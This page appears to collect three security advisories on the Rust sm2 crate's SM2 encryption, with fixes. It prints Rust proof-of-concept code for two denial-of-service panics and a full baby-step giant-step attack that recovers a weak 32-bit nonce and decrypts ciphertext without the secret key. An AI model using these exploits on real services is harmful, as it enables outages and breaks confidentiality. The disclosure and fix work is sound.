Where
AND
-Infinity
0
Severity
7.5
EPSS
0.07%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::splitat operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

- File: src/pke/decrypting.rs

- Functions: DecryptingKey::decryptdigest/decrypt/decryptder, internal decrypt() implementation

- Affected releases: - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.splitat(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

rust fn decrypt( secretscalar: &Scalar, mode: Mode, hasher: &mut dyn DynDigest, cipher: &[u8], ) -> Result<Vec<u8>> { let q = U256::frombehex(FieldElement::MODULUS); let c1len = q.bits().divceil(8) 2 + 1; // Typically 65 for SM2

// B1: get 𝐶1 from 𝐶 let (c1, c) = cipher.splitat(c1len as usize); // PANIC HERE if cipher.len() < 65 let encodedc1 = EncodedPoint::frombytes(c1).maperr(Error::from)?;

// ... (lines 170-178 omitted)

let digestsize = hasher.outputsize(); // Typically 32 for SM3 let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.splitat(digestsize); // PANIC HERE if c.len() < 32 (c2, c3) } Mode::C1C2C3 => c.splitat(c.len() - digestsize), // PANIC HERE if c.len() < 32 };

Rust's slice::splitat panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

- examples/pocshortciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.splitat(c1len) panic.

rust //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so that cipher.splitat(c1len) panics. //! //! Usage: //! cargo run --example pocshortciphertext use randcore::OsRng; use sm2::pke::DecryptingKey; use sm2::SecretKey; fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // to trigger the vulnerability in decrypt() where it does cipher.splitat(c1len). let shortciphertext = vec![0u8; 10]; // deliberately too short println!("Calling decrypt with undersized ciphertext (len = {})...", shortciphertext.len()); // The panic is the PoC for the lack of length validation. let = dk.decrypt(&shortciphertext); // If the library were robust, this line would be reached and decrypt would return Err. println!("decrypt returned (unexpected) - PoC did not panic"); } - examples/pocdershort.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::fromder accepts the DER and the call flows into decrypt(), which then panics on the later splitat. rust //! Usage: //! RUSTBACKTRACE=1 cargo run --example pocdershort --features std use randcore::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey; fn buildder(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new(); // INTEGER x body.push(0x02); body.push(x.len() as u8); body.extendfromslice(x); // INTEGER y body.push(0x02); body.push(y.len() as u8); body.extendfromslice(y); // OCTET STRING digest (intentionally tiny) body.push(0x04); body.push(digest.len() as u8); body.extendfromslice(digest); // OCTET STRING cipher (intentionally tiny) body.push(0x04); body.push(cipher.len() as u8); body.extendfromslice(cipher); // SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der } fn main() { let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); // Extract recipient public key coordinates before moving the secret key into DecryptingKey let pk = sk.publickey(); let dk = DecryptingKey::new(sk); // get SEC1 encoding 0x04 || X || Y and slice out X and Y let sec1 = pk.tosec1bytes(); let sec1ref: &[u8] = sec1.asref(); let x = &sec1ref[1..33]; let y = &sec1ref[33..65]; // Very small digest and cipher to trigger length-based panics inside decrypt() let digest = [0x33u8; 1]; let cipher = [0x44u8; 1]; let der = buildder(x, y, &digest, &cipher); println!("Calling decryptder with crafted short DER (len={})...", der.len()); // Expected to panic inside decrypt() due to missing length checks when splitting let = dk.decryptder(&der); println!("decryptder returned (unexpected) - PoC did not panic"); }

Reproduction (from repository root):

bash PoC that directly uses decrypt on a short buffer cargo run --example pocshortciphertext --features std

PoC that passes a short DER to decryptder RUSTBACKTRACE=1 cargo run --example pocdershort --features std

Impact

- Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption. - Low attacker effort: crafting short inputs or small DER octet strings is trivial. - Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any splitat usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

rust let c1lenusize = c1len as usize; if cipher.len() < c1lenusize { return Err(Error); } let (c1, c) = cipher.splitat(c1lenusize);

let digestsize = hasher.outputsize(); if c.len() < digestsize { return Err(Error); } let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.splitat(digestsize); (c2, c3) } Mode::C1C2C3 => c.splitat(c.len() - digestsize), };

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab

- Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.11%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::fromencodedpoint(&encodedc1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

- File: src/pke/decrypting.rs

- Function: internal decrypt() (invoked by DecryptingKey::decrypt methods)

- Affected releases:

- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::fromencodedpoint(&encodedc1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::frombytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger fromencodedpoint() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/pocderinvalidpoint.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decryptder. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

rust //! PoC: trigger invalid-point panic via decryptder by providing ASN.1 DER //! where x/y are valid-length integers but do not lie on the curve. //! //! Usage: //! RUSTBACKTRACE=1 cargo run --example pocderinvalidpoint

use randcore::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey;

fn buildder(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new();

// INTEGER x body.push(0x02); body.push(x.len() as u8); body.extendfromslice(x);

// INTEGER y body.push(0x02); body.push(y.len() as u8); body.extendfromslice(y);

// OCTET STRING digest body.push(0x04); body.push(digest.len() as u8); body.extendfromslice(digest);

// OCTET STRING cipher body.push(0x04); body.push(cipher.len() as u8); body.extendfromslice(cipher);

// SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der }

fn main() { let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk);

// x/y are 32-byte values that almost certainly are NOT on the curve let x = [0x11u8; 32]; let y = [0x22u8; 32]; let digest = [0x33u8; 32]; let cipher = [0x44u8; 16];

let der = buildder(&x, &y, &digest, &cipher);

println!("Calling decryptder with DER (len={})...", der.len());

// Expected to panic in decrypt() when validating the point (fromencodedpoint().unwrap()) let = dk.decryptder(&der);

println!("decryptder returned (unexpected) - PoC did not panic"); }

Run locally:

bash RUSTBACKTRACE=1 cargo run --example pocderinvalidpoint --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the fromencodedpoint(...).unwrap() call.

Impact

- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process. - Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial. - Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::fromencodedpoint(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

rust // Return an error instead of panicking when the provided point is not on the curve. let mut c1point: AffinePoint = match AffinePoint::fromencodedpoint(&encodedc1).into() { Some(p) => p, None => return Err(Error), };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab

- Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant NBYTES. rust const NBYTES: u32 = Sm2::ORDER.asref().bits().divceil(8); // Value is 32 (bytes) 2. However, this NBYTES value is then passed to the nextk helper function, which incorrectly interprets this value as a bit length. rust let k = Scalar::fromuint(&nextk(rng, NBYTES)?).unwrap(); 3. Inside nextk, the bitlength parameter (which holds the value 32) is passed directly to U256::tryrandombits, a function that generates a random number with the specified number of bits. rust fn nextk<R: TryCryptoRng + ?Sized>(rng: &mut R, bitlength: u32) -> Result<U256> { let k = U256::tryrandombits(rng, bitlength).maperr(|| Error)?; // ... } As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgsrecover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message. 2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G. 3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16). 4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgsrecover.rs

rust //! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS) //! //! This example intentionally demonstrates an attack on the vulnerable //! EncryptingKey::encrypt implementation which (in the current repository //! state) may generate k with only 32 bits of entropy. The example: //! - Generates a key pair and encrypts a short plaintext. //! - Extracts C1 from the ciphertext (ephemeral public key [k]G). //! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16). //!

use std::collections::HashMap; use std::error::Error;

use randcore::OsRng;

use sm2::{ pke::Mode, pke::EncryptingKey, PublicKey, SecretKey, AffinePoint, ProjectivePoint, Scalar, }; use ellipticcurve::bigint::U256; use ellipticcurve::{Group, Curve}; use ellipticcurve::sec1::{FromEncodedPoint, ToEncodedPoint}; use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space. fn bsgsrecoverk(c1: &AffinePoint) -> Option<U256> { // search parameters let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

// baby steps: jG -> j let mut baby: HashMap<Vec<u8>, u32> = HashMap::withcapacity(m as usize + 1); for j in 0..m { let ju256 = U256::fromu32(j); let s = Scalar::fromuint(&ju256).unwrap(); let p = ProjectivePoint::mulbygenerator(&s).toaffine(); let ep = p.toencodedpoint(false); baby.insert(ep.asbytes().tovec(), j); }

// giant steps for i in 0..=m { let im = (i as u64) (m as u64); let imu256 = U256::fromu64(im); let imscalar = Scalar::fromuint(&imu256).unwrap(); let impoint = ProjectivePoint::mulbygenerator(&imscalar).toaffine();

// candidate = C1 - impoint let c1proj = ProjectivePoint::from(c1); let improj = ProjectivePoint::from(&impoint); let candidateproj = c1proj + (-improj); let candidate = candidateproj.toaffine(); let candbytes = candidate.toencodedpoint(false).asbytes().tovec();

if let Some(&j) = baby.get(&candbytes) { let krecovered = im + (j as u64); return Some(U256::fromu64(krecovered)); } } None }

/// KDF using SM3 (re-implementation of crate internal kdf). fn kdfsm3(kpb: AffinePoint, c2: &mut [u8]) { let mut hasher = Sm3::new(); let klen = c2.len(); let mut ct: u32 = 0x00000001; let digestsize = 32usize; // SM3 output is 32 bytes let mut ha = vec![0u8; digestsize]; let encodepoint = kpb.toencodedpoint(false);

let mut offset = 0usize; while offset < klen { hasher.update(encodepoint.x().unwrap()); hasher.update(encodepoint.y().unwrap()); hasher.update(&ct.tobebytes()); let out = hasher.finalizereset(); ha.copyfromslice(out.asslice());

let xorlen = core::cmp::min(digestsize, klen - offset); for i in 0..xorlen { c2[offset + i] ^= ha[i]; } offset += xorlen; ct = ct.wrappingadd(1); } }

/// Decrypt ciphertext given recovered k and recipient public key (without secret key). fn decryptwithk(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // parse c1 let nbytes = sm2::Sm2::ORDER.asref().bits().divceil(8) as usize; // 32 let c1len = nbytes 2 + 1; if ciphertext.len() < c1len { return Err("ciphertext too short".into()); } let (c1bytes, rest) = ciphertext.splitat(c1len);

// derive shared point hpb = [hk]PB; for SM2 cofactor h == 1 so this is [k]PB let pbaffine = pubkey.asaffine(); let kscalar = Scalar::fromuint(&k).unwrap(); let s = pbaffine; // cofactor h == 1 let hpb = (s kscalar).toaffine();

// split rest into c2 and c3 depending on mode let digestsize = 32usize; // SM3 output size let (c2slice, c3slice) = match mode { Mode::C1C2C3 => { let c2len = rest.len() - digestsize; rest.splitat(c2len) } Mode::C1C3C2 => { let (c3, c2) = rest.splitat(digestsize); (c2, c3) } };

let mut c2 = c2slice.toowned(); // KDF to recover plaintext kdfsm3(hpb, &mut c2);

// verify c3 let mut check = Sm3::new(); let enc = hpb.toencodedpoint(false); check.update(enc.x().unwrap()); check.update(&c2); check.update(enc.y().unwrap()); let out = check.finalizereset(); if out.asslice() != c3slice { return Err("c3 verification failed".into()); }

Ok(c2) }

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt. fn recoveranddecrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // extract C1 let nbytes = sm2::Sm2::ORDER.asref().bits().divceil(8) as usize; // 32 let c1len = nbytes 2 + 1; let (c1bytes, rest) = ciphertext.splitat(c1len); let encoded = sm2::EncodedPoint::frombytes(c1bytes)?; let c1affine = AffinePoint::fromencodedpoint(&encoded).unwrap();

if let Some(k) = bsgsrecoverk(&c1affine) { println!("recovered k = 0x{:x}", k); let plain = decryptwithk(pubkey, k, ciphertext, mode)?; return Ok(plain); } Err("failed to recover k".into()) }

fn main() -> Result<(), Box<dyn Error>> { // demo: generate keypair, encrypt, then recover and decrypt without secret key let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng)?; let pk = sk.publickey(); let ek = EncryptingKey::newwithmode(pk, Mode::C1C2C3); let msg = b"attack-demo-sm2-bsgs-recover-example"; let ct = ek.encrypt(&mut rng, msg)?; print!("Trying to recover k and decrypt...\n"); let recovered = recoveranddecrypt(&pk, &ct, Mode::C1C2C3)?; println!("recovered plaintext: {}", std::str::fromutf8(&recovered)?); Ok(()) }

To run the PoC (tested on Apple M3):

bash $ time cargo run --example bsgsrecover Trying to recover k and decrypt... recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79 recovered plaintext: attack-demo-sm2-bsgs-recover-example cargo run --example bsgsrecover 14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

- Fix 1: Modify the input parameter to the correct 256 bits

rust let kuint = nextk(rng, NBYTES 8)?;

- Fix 2: We believe that the nextk function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

rust fn nextk<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> { loop { let k = U256::tryrandombits(rng, 256).maperr(|| Error)?; if !bool::from(k.iszero()) && k < Sm2::ORDER { return Ok(k); } } }

Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203